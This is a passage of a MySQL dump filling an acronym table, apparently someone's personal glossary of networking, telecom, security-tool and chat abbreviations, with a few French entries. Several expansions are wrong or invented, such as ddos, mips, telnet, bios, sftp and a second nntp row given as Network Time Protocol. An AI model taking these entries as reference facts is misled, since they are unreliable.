sys',NULL),(72,'beef','browser exploitation framework',NULL),(73,'crud','create read update delete',NULL),(74,'selinux','security enhanced linux',NULL),(75,'a7x','avenged sevenfold :D',NULL),(76,'bbiab','be back in a bit',NULL),(77,'brb','be right back',NULL),(78,'afaik','as far as i know',NULL),(79,'rtfm','read the fucking manual',NULL),(80,'re','de retour',NULL),(81,'www','world wide web',NULL),(82,'rir','regional internet registries',NULL),(83,'AFRINIC','African Network Information Center',NULL),(84,'arin','american register for internet numbers',NULL),(85,'edgar','electronic data gathering analysis and retrieval',NULL),(86,'zap','zed attack proxy',NULL),(87,'html','hyper text markup language',NULL),(88,'php','PHP: Hypertext Preprocessor\npersonal home page',NULL),(89,'crm','Customer Relationship Management',NULL),(90,'rat','remote access tool',NULL),(91,'osint','open source intelligence',NULL),(92,'tty','terminal type','unix terminal interface'),(93,'mpls','multiprotocol label switching',NULL),(94,'isoc','internet society',NULL),(95,'sanog','South Asian Network Operators Group',NULL),(96,'ppp','point to point protocol',NULL),(97,'ssl','secure socket layer',NULL),(98,'telnet','telephone network',NULL),(99,'dwdm','dense wave division multiplexing',NULL),(100,'ddos','deniall of service',NULL),(101,'ibm','international business machine',NULL),(102,'bsd','Berkeley Software Distribution',NULL),(103,'rpc','remote procedure call',NULL),(104,'rfc','request for comment',NULL),(105,'ayt','are you there',NULL),(106,'gnu','gnu is not unix',NULL),(107,'gpl','General Public License',NULL),(108,'fsf','Free Software Foundation',NULL),(109,'rj','registered jack',NULL),(110,'utp','unshielded twisted pair',NULL),(111,'mitm','man in the middle',NULL),(112,'ieee','Institute of Electrical and Electronics Engineers',NULL),(113,'isp','internet service provider',NULL),(114,'tld','top level domain - ex: .org .net ',NULL),(115,'pop','point of presence',NULL),(116,'nap','network access point',NULL),(117,'lan','local area network',NULL),(118,'wan','wide area network',NULL),(119,'ielts','International English Language Testing System',NULL),(120,'toefl','Test Of English as a Foreign Language',NULL),(121,'faq','Frequently Asked Question',NULL),(122,'faq','Foire Aux Questions',NULL),(123,'url','Internet Shortcut\n\nUser Resource Link',NULL),(124,'url','uniform resource locator',NULL),(125,'css','cascade style sheet',NULL),(126,'api','Application Programming Interface',NULL),(127,'uunet','Unix-To-Unix Network',NULL),(128,'csrg','computer sciences research group',NULL),(130,'at&t','American Telephone & Telegraph',NULL),(131,'nsf','national science foundation',NULL),(132,'mci','Media Control Interface',NULL),(133,'mips','million bits per second',NULL),(134,'GBPS','Gigabits Per Second',NULL),(135,'GBps','Gigabytes Per Second',NULL),(136,'tug','tex user_s group',NULL),(137,'pwmt','programs with movies title',NULL),(138,'uri','universal resource identifier',NULL),(139,'tls','transport layer security',NULL),(140,'ietf','Internet Engineering Task Force',NULL),(141,'cern','Citizenship Education Research Network\nCentral European Research Network\nCommunity Emergency Response Network',NULL),(142,'dmz','demilitarized zone',NULL),(143,'icp','Internet Communications Protocol',NULL),(144,'htcp','Hyper Text Caching Protocol',NULL),(145,'mooc','Massive Open Online Course',NULL),(146,'arpanet','Advanced Research Project Agency Network',NULL),(147,'arpa','Advanced Research Projects Agency',NULL),(148,'usi','us internet',NULL),(149,'wysiwyg','what you see is what you get',NULL),(150,'dod','Department of Defense',NULL),(151,'mtu','Maximum Transmission Unit',NULL),(152,'ss7','signal system #7','used in cellular network'),(153,'iot','internet of everyThing',NULL),(154,'iab','internet architecture board',NULL),(155,'bold','berkman online lecture discussion','online doc about netw&computer from harvard'),(156,'gsm','Global System for Mobile Communications',NULL),(157,'usb','Universal Serial Bus',NULL),(158,'cdp','Cisco Discovery Protocol',NULL),(159,'dcap','Data Link Switching Client Access Protocol',NULL),(160,'dtp','Dynamic Trunking Protocol','used in cisco'),(161,'fddi','Fiber Distributed Data Interface',NULL),(162,'l2f','Layer 2 Forwarding Protocol',NULL),(163,'l2tp','Layer 2 Tunneling Protocol',NULL),(164,'lapd','Link Access Procedures on the D channel',NULL),(165,'lldp','Link Layer Discovery Protocol',NULL),(166,'lldp-med','Link Layer Discovery Protocol - Media Endpoint Discovery',NULL),(167,'PAgP','Cisco Systems proprietary link aggregation protocol',NULL),(168,'pptp','Point-to-Point Tunneling Protocol',NULL),(169,'slip','Serial Line Internet Protocol (obsolete)',NULL),(170,'vtp','VLAN Trunking Protocol',NULL),(171,'vlan','Virtual Local Area Network',NULL),(172,'arp','Address Resolution Protocol',NULL),(173,'rarp','Reverse Address Resolution Protocol',NULL),(174,'atm','Asynchronous Transfer Mode',NULL),(175,'is-is','Intermediate System - Intermediate System',NULL),(176,'spb','Shortest Path Bridging',NULL),(177,'mtp','Message Transfer Part',NULL),(178,'nsp','Network Service Part',NULL),(179,'clnp','ConnectionLess Networking Protocol',NULL),(180,'igmp','Internet Group Management Protocol',NULL),(181,'ipsec','Internet Protocol Security',NULL),(182,'ipx','Internetwork Packet Exchange',NULL),(183,'sccp','Signalling Connection Control Part',NULL),(184,'esp','Encapsulating Security Payload over IP or IPSec',NULL),(185,'gre','Generic Routing Encapsulation for tunneling',NULL),(186,'bgp','Border Gateway Protocol',NULL),(256,'csma/cd','carrier sense multiple access -- collision detection',NULL),(188,'hip','Host Identity Protocol',NULL),(189,'ah','Authentication Header over IP or IPSec',NULL),(190,'il','Originally developed as transport layer for 9P',NULL),(191,'sctp','Stream Control Transmission Protocol',NULL),(192,'spx','Sequenced Packet Exchange',NULL),(193,'dccp','Datagram Congestion Control Protocol',NULL),(194,'afp','Apple Filing Protocol',NULL),(195,'BACnet','Building Automation and Control Network protocol',NULL),(196,'bootp','Bootstrap Protoc',NULL),(197,'dict','Dictionary protocol',NULL),(198,'dsm-cc','Digital Storage Media Command and Control',NULL),(199,'dsnp','Distributed Social Networking Protocol',NULL),(200,'imap','Internet Message Access Protocol',NULL),(201,'mime','Multipurpose Internet Mail Extensions',NULL),(202,'msnp','Microsoft Notification Protocol (used by Windows Live Messenger)',NULL),(203,'map','Mobile Application Part',NULL),(204,'mosh','Mobile Shell',NULL),(205,'nntp','Network News Transfer Protocol',NULL),(206,'nntp','Network Time Protocol',NULL),(207,'ntcip','National Transportation Communications for Intelligent Transportation System Protocol',NULL),(208,'rdp','Remote Desktop Protocol',NULL),(209,'rlogin','remote login protocol on unix',NULL),(210,'unix','Uniplexed Information and Computing System\nUniversal Network Information Exchange',NULL),(211,'ssh','secure shell',NULL),(212,'sisnapi','Siebel Internet Session Network API',NULL),(213,'sip','Session Initiation Protocol, a signaling protocol','in telec'),(214,'soap','Simple Object Access Protocol',NULL),(215,'can','Controller Area Network',NULL),(216,'webdav','Web Distributed Authoring and Versioning',NULL),(217,'xmpp','Extensible Messaging and Presence Protocol',NULL),(218,'sna','Systems Network Architecture',NULL),(219,'dsa','Distributed Systems Architecture',NULL),(220,'dssa','Distributed System Security Architecture',NULL),(221,'hdlc','High-Level Data Link Control',NULL),(222,'mltp','Multi-link trunking Protocol',NULL),(223,'dsl','digital subscriber line',NULL),(224,'arcnet','Attached Resource Computer NETwork',NULL),(227,'smlt','Split Multi Link Trunking',NULL),(226,'man','metropolitan area network',NULL),(228,'sock','Socket Connection',NULL),(229,'ncp','NetWare Core Protocol',NULL),(230,'nfs','Network File System',NULL),(231,'netbios','Network Basic Input/Output System',NULL),(232,'bios','Binary Operating System\nBasic Input/Output System\nBuilt in Operating System\n',NULL),(233,'smb','Server Message Block',NULL),(235,'dicom','Digital Imaging and Communications in Medicine >.<',NULL),(236,'isup','ISDN User Part',NULL),(237,'isdn','International Subscriber Directory Number','in telec'),(238,'radius','Remote Access Dial-In User Server',NULL),(239,'stun','Session Traversal Utilities for NAT',NULL),(240,'tup','Telephone User Part',NULL),(241,'tcap','Transaction Capabilities Application Part',NULL),(242,'tftp','Trivial File Transfer Protocol',NULL),(243,'sftp','Simple File Transfer Protocol',NULL),(244,'ctcp','Client-to-client protocol',NULL),(245,'sat','Scholastic Assessment Test',NULL),(246,'gmat','Graduate Management Admission Test',NULL),(247,'iana','Internet Assigned Numbers Authority',NULL),(248,'ptsd','Post-Traumatic Stress Disorder',NULL),(249,'oftp','Odette File Transfer Protocol',NULL),(250,'nic','network interface card',NULL),(251,'hrt','Hormone Replacement Therapy',NULL),(252,'psf','python software foundation',NULL),(253,'ftc','federal trade commission',NULL),(254,'adhd','Attention Deficit Hyperactivity Disorder',NULL),(255,'fmf','fleet marine force',NULL),(257,'ttl','time to live ',NULL),(258,'ios','internetwork operating system',NULL),(259,'ascii','american standard code for information interchange',NULL),(260,'iso','international organization for standardization',NULL),(261,'pdu','protocol data unit',NULL),(262,'spdu','session protocol data unit',NULL),(263,'apdu','application protocol data unit',NULL),(264,'ppdu','presentation protocol data unit',NULL),(265,'ppdu','physic protocol data unit',NULL),(266,'dpdu','datalink protocol data unit',NULL),(267,'npdu','network protocol data unit',NULL),(268,'tpdu','transport protocol data unit',NULL),(269,'wtf','what the fuck','informal chatting'),(270,'tdma','time division multiple access ',NULL),(271,'ms','mobile station','in telec'),(272,'bss','base station subsystem',NULL),(273,'nss','network switching subsystem',NULL),(274,'oss','operation support subsystem',NULL),(275,'bts','base transceiver system',NULL),(276,'bsc','base station controller',NULL),(277,'hlr','home location register',NULL),(278,'vlr','visitor location register',NULL),(279,'msc','mobile switching center',NULL),(280,'eir','Equipment Identity Register',NULL),(281,'trau','Transcoder and Adaptation Unit',NULL),(282,'AuC','Authentication Center',NULL),(283,'cms','Content Management System',NULL),(284,'umts','Universal Mobile Telecommunication System',NULL),(285,'edge','Enhanced Data rate for GSM Evolution',NULL),(286,'gprs','General Packet Radio Service',NULL),(287,'HSCSD','High Speed Circuit Switched Data','in telec'),(288,'sms','short messaging service',NULL),(289,'sms-sc','sms-serving_center',NULL),(290,'cgi','cell global identity','in telec'),(291,'lai','location area identity',NULL),(292,'uktf','u know that from',NULL),(293,'ifk','i think',NULL),(294,'ngn','next generation networks',NULL),(295,'nasm','netwide assembler',NULL),(296,'gas','gnu assembler',NULL),(297,'stdout','standard output',NULL),(298,'mis','management information sys',NULL),(299,'sdlc','software development life cycle',NULL),(300,'dwh','data warehouse',NULL),(301,'dtd','document type declaration',NULL),(302,'foma','Freedom of Mobile Multimedia Access',NULL),(303,'cbc','chargeback center',NULL),(304,'pstn','public switched telephone network','in telec'),(305,'hms','has many senses',NULL),(306,'gof','gang of four',NULL),(307,'jit','just in time',NULL),(308,'qtp','quick test professional',NULL),(309,'gnis','Geographic Names Information System','database that contains name and locative information about more than two million physical and cultural features located throughout the United States of America and its territories'),(310,'usgs','United States Geological Survey',NULL),(311,'poi','point of interest',NULL),(312,'mgt','management',NULL),(313,'shield','Secret Headquarters of Intelligence Espionage and Law Division\nSupreme Headquarters International Espionage Law-Enforcement Division (Marvel comics)\nStrategic Homeland Intervention, Enforcement, and L',NULL),(314,'nsa','National Security Agency',NULL),(315,'fbi','federal bureau of investigation',NULL),(316,'afsa','Armed Forces Security Agency',NULL),(317,'usdd','United States Department of Defense',NULL),(318,'sha','secure hash algorithm',NULL),(319,'doj','department of justice',NULL),(320,'vps','virtual private server',NULL),(321,'xp','extrem programming',NULL),(322,'tdd','test driven development',NULL),(323,'po','product owner',NULL),(326,'sarlu','Société A Responsabilité Limitée Unipersonnelle',NULL),(325,'prd','produit or product',NULL),(327,'hep','haute etude de pratique mada',NULL),(328,'gp','gestion des projets',NULL),(329,'prj','projet',NULL),(330,'ajax','asynchronous javascript and xml',NULL),(331,'svn','subversion',NULL),(332,'vcs','version control system',NULL),(333,'cvcs','centralized version control system',NULL),(334,'dvcs','decentralized version control system',NULL),(335,'wml','wireless markup language',NULL),(336,'awk','Alfred Aho, Peter Weinberger, and Brian Kernighan',NULL),(337,'nawk','newer awk',NULL),(338,'gawk','gnu awk | gui awk',NULL),(339,'eof','end of file',NULL),(340,'jogl','java opengl',NULL),(341,'pom','project object model',NULL),(342,'sdk','software development kit, used in java',NULL),(343,'arm','advanced _risc_ machine',NULL),(344,'risc','Reduced Instruction Set Computer',NULL),(345,'cbn','Christian Broadcasting Network',NULL),(346,'ccn tv','Caribbean Communications Network Television',NULL),(347,'ccna','Cisco Certified Network Associate',NULL),(348,'cisco','\nCommercial & Industrial Security Corporation\nComputer Information System Company',NULL),(349,'vi','visual interface',NULL),(350,'vim','visual interface iMproved',NULL),(351,'unix','Uniplexed Information and Computing System',NULL),(352,'dcc','directly client to client',NULL),(353,'ram','random access memory',NULL),(354,'nvram','non volatile ram',NULL),(355,'nptel','national program on technology enhanced learning',NULL),(356,'hrd','human resources development',NULL),(357,'ro','recherche operationnelle',NULL),(358,'ide','Integrated Drive ElectronicsC;',NULL),(359,'sata','Serial Advanced Technology Attachment',NULL),(360,'nas','Network Access Server',NULL),(361,'aaa','Authentication, Authorization, and Accounting',NULL),(362,'prolog','programmation logique',NULL),(363,'dff','digital forensics framework',NULL),(364,'wpa','Wi-Fi Protected Access',NULL),(365,'wep','Wired Equivalent Privacy',NULL),(366,'wifi','wireless fidelity',NULL),(367,'wps','wifi protected setup',NULL),(368,'scrb','script bash','by nonickn'),(369,'ping','packet internet grouper',NULL),(370,'jfu','james_franco_university',NULL),(371,'masm','microsoft assembler',NULL),(372,'tasm','borlandTurbo assembler',NULL),(373,'tva','taxe sur les valeurs ajoutes',NULL),(374,'yt','youtube',NULL),(375,'ussr','Union of Soviet Socialist Republics\nUnderground Security Systems Research',NULL),(376,'usmc','United States Marine Corps',NULL),(377,'gpn','graphic_component',NULL),(378,'ppc','pay per click',NULL),(379,'cr','carriage return','vim'),(380,'jni','java native interface','asm in java'),(381,'jna','java native access','asm in java'),(382,'gcac','general culture about computer','by me'),(383,'cics','Customer Information Control System',NULL),(384,'ims','Information Management System',NULL),(385,'csi','crime scene investigation',NULL),(388,'jndi','Java Naming and Directory Interface','sun'),(387,'des_p','design pattern','by me'),(389,'uml','unified modeling langage',NULL),(390,'omg','object management group','uml creator'),(391,'oo','object oriented',NULL),(392,'oopl','oo programming language',NULL),(393,'nmt','nordic mobile telephone','tel_p'),(394,'hsdpa','High Speed Downlink Packet Access','tel_p'),(395,'hsupa','High Speed Uplink Packet Access','tel_p'),(396,'hsopa','High Speed OFDM Packet Access','tel_p'),(397,'lte','long term evolution','tel_p'),(398,'wimax','Worldwide Interoperability for Microwave Access','tel_p'),(399,'cdma','code division multiple access','tel_p'),(400,'tel_m','telephonie_mobile','by me'),(401,'p2p','peer to peer',NULL),(402,'iap','internet access provider',NULL),(403,'fai','fournisseur d_access internet',NULL),(404,'rtc','Réseau Téléphonique Commuté',NULL),(405,'slip','serial line internet protocol',NULL),(406,'ci','circuit integrees','in electronic'),(407,'msb','most significant bit',NULL),(409,'lsb','less significant bit',NULL),(410,'base','\n(101101)b2\n    se lit\n        101101 a base 2','by me'),(411,'diagr','diagramme','by me'),(412,'toc','table of contents','general books'),(413,'gen_c','general culture','by me'),(414,'sram','static ram',NULL),(415,'3gpp','third Generation Partnership Project',NULL),(416,'pspdn','Packet Switched Public Data Network',NULL),(417,'pcs','personal communication srvc','in telecom'),(418,'gmsk','Gaussian Minimum Shift Keying','in telec'),(419,'msk','Minimum Shift Keying','used in telecom'),(420,'lpc','Linear Predictive Coding','in telec'),(421,'fdd','frequency division duplexing',NULL),(422,'imei','International Mobile Station Equipment Identity',NULL),(423,'tac','Type Approval Code','in telecommunication'),(424,'sp','spare','in telec'),(426,'fac','final assembly code','in telec'),(427,'snr','serial number','in telec'),(428,'imsi','International Mobile Subscriber Identity',NULL),(429,'sim','subscriber identity module',NULL),(430,'mnc','mobile network code','in telec'),(431,'mcc','mobile country code','in telec'),(432,'msin','Mobile Subscriber Identification Number','in telec'),(433,'msisdn','Mobile Subscriber ISDN Number','in telec'),(434,'msisdn','Mobile Station Roaming Number',NULL),(435,'isdn','Integrated Services for Digital Network','in computer networking'),(436,'msrn','Mobile Station Roaming Number','in telec'),(437,'plmn','public land mobile network','in telec'),(438,'cept','Confederation of European Post and Telegraph','in telec'),(439,'tacs','Total Access Communication System','in telec'),(440,'etsi','European Telecommunication Standards Institute',NULL),(441,'ss','switching system','in telec'),(442,'omc','operation and maintenance center',NULL),(443,'pots','Plain Old Telephone Service','in telec'),(444,'itu-t','International Telecommunication Union-Telecommunication',NULL),(445,'rnis','Réseau Numérique à Intégration de Services',NULL),(446,'rn','radio network',NULL),(447,'ci','cell identity','in telec'),(448,'lac','local area code','in telec'),(449,'lmsi','Local Mobile Subscriber Identity',NULL),(450,'co','central_office','in telec'),(451,'nadp','north american dialing plan',NULL),(452,'pots','Plain Ordinary Telephone Service',NULL),(453,'tmsi','Temporary Mobile Subscriber Identity',NULL),(454,'bc','billing center','in telec'),(455,'cdr','call detail records','in telec'),(456,'noc','network operations centre','in telec'),(457,'pcu','packet ctrl unit','in telec'),(458,'ggsn','Gateway GPRS Support Node','in telec'),(459,'bg','Border Gateway','in telec'),(460,'utran','umts terrestrial radio access network','in telec'),(461,'ran','radio access network','in telec'),(462,'gmsc','gateway msc',NULL),(463,'tch','traffic channel','in telec'),(464,'tch/f','tch full_rate','in telec'),(465,'tch/h','tch half_rate','in telec'),(466,'cch','control channels','in telec'),(467,'nsn','nokia siemens network',NULL),(468,'qos','quality of service',NULL),(469,'cano','Cell Allocation Number','in telec'),(470,'CA ARFCN','Cell Allocation ARFCN','in telec'),(471,'maxret','max_retransmissions','in telec'),(472,'pwrc','power ctrl','in telec'),(473,'rlinkt','radio link timeout','in telec'),(474,'acc','access ctrl class','in telec'),(475,'lapd','linnk acces protocol on the d_channel','in telec'),(476,'crc','cyclic redundancy check','in telec _ in network, ....'),(477,'gsn','GPRS Support Node','in telec'),(478,'sgsn','serving gsn','in telec'),(479,'ggsn','gateway gsn','in telec'),(480,'iden','Integrated Digital Enhanced Network','in telec'),(481,'iden','Wide iden','in telec'),(482,'d-amps','Digital Advanced Mobile Phone System','in telec'),(483,'damps','Digital Advanced Mobile Phone Service','in telec'),(484,'tfd','the free dictionary','internet thefreedictionary.com'),(485,'ngmn','Next Generation Mobile Networks Alliance','in telec'),(486,'d2d','device to device',''),(487,'wwan','wireless wan','in telec'),(488,'wlan','wireless lan','in telec'),(489,'wman','wireless man','in telec'),(490,'wran','wireless ran','in telec'),(491,'wba','wireless broadband access','in telec'),(492,'ofdm','Orthogonal Frequency Division Multiplexing','in telec'),(493,'amc','Adaptive modulation and coding ','in telec'),(494,'nwg','Network Working Group','in telec'),(495,'asn','access service network','in telec'),(496,'csn','connectivity service network','in telec'),(497,'amps','Advanced Mobile Phone System','in telec'),(498,'arfcn','Absolute Radio Frequency Channel Number','in telec'),(499,'lsr','Label Switching Router','in telec'),(500,'ler','Label Edge Router','in telec'),(501,'fbi','feedback information','in telec umts'),(502,'tfci','Transport Format Combination Identifier','in telec umts'),(503,'pdch','Packet Data Channel','in telec gprs'),(504,'mpdch','master pdch','in telec gprs'),(505,'qam','quadrature amplitude modulation','in telec'),(506,'vsat','Vulnerability Self Assessment Tool','in sec software'),(507,'vsat','very small aperture terminal','in telec'),(508,'ansi','American National Standard Institute','in telec'),(509,'wml','wireless application protocol','in telec'),(510,'xml','extensible markup language','in progr'),(511,'hspa','high speed packet access','in telec'),(512,'lin_b','linux_bash','by me for linux_sys'),(513,'yltp','youthleadership training program','leadership school in madagascar'),(514,'hks','harvard kennedy school','usa univ\nWe are the most international school at Harvard University.\n'),(515,'vakog','Visual, Auditory, Kinesthetic, Olfactory and Gustatory','personal_developmnt'),(516,'cenhosoa','centre hospitaliere de soavinandriana','tana hospital'),(517,'duc','dns update client',NULL),(518,'pdn','public data network',NULL),(519,'jcp','java community process',NULL),(520,'jain','Java Advanced Intelligent Networks',NULL),(521,'jain','Java APIs for Integrated Networks',NULL),(522,'gps','global postioning system',NULL),(523,'ss7','signaling system 7','in telec'),(524,'rr','radio rsrc','in telec'),(525,'mm','mobile mgt','in telec'),(526,'cm','connection mgt','in telec'),(527,'cmos','Complementary Metal Oxide Substrate',NULL),(528,'dac','digital to analogue convertor',''),(529,'dte','data terminal equipment',''),(530,'eeprom','Electrically Erasable Programmable Read Only Memory','in computer_hardware'),(531,'egsm','extended gsm','in telec'),(532,'ermes','Enhanced Radio Messaging System','in telec'),(533,'gtp','gprs tunneling protocol',NULL),(534,'cs','coding schemes','in telec'),(535,'mcs','modulation and coding schemes','in telec'),(536,'tuba','TCP/IP-UDC over Big Addresses',NULL),(537,'dstm','Dual Stack Transition Mechanism','in network'),(538,'eecs','electrical engineering and computer sciences',NULL),(539,'jfc','java foundation class',NULL),(540,'c_pr','c_programming','by me'),(541,'fssn','Free Software Support Network',NULL),(542,'malloc','memory allocation','in c_programming'),(543,'alt_gr','alt graphic',NULL),(544,'nlp','Neuro-Linguistic Programming',NULL);
/*!40000 ALTER TABLE `abbr` ENABLE KEYS */;
UNLOCK TABLES;

